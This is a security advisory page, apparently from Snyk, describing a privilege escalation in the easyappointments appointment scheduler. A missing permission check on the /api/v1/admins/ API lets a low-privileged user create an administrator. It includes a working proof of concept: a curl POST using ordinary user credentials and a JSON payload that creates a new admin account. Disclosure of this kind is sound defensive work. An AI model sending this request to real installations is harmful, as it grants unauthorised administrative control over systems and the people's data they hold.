Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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alextselegidis/easyappointments is a powerful Open Source Appointment Scheduler that can be installed on your server.
Affected versions of this package are vulnerable to Privilege Escalation via the /api/v1/admins/
endpoint, when the authorization is checked against the user's existence without validation of the user's permissions. Exploiting this vulnerability allows a low privileged user to create a new admin user.
curl --request POST https://easyappointments.org/index.php/api/v1/admins/ -d @payload.json --user user:pass
payload.json :
{
"id": 100,
"firstName": "Admin",
"lastName": "Admin",
"email": "admin@easyappointments.org",
"mobile": null,
"phone": "111",
"address": null,
"city": null,
"state": null,
"zip": null,
"notes": null,
"timezone": "UTC",
"settings": {
"username": "usern@me",
"password": "p@ssw0rd",
"notifications": true,
"calendarView": "default"
}
}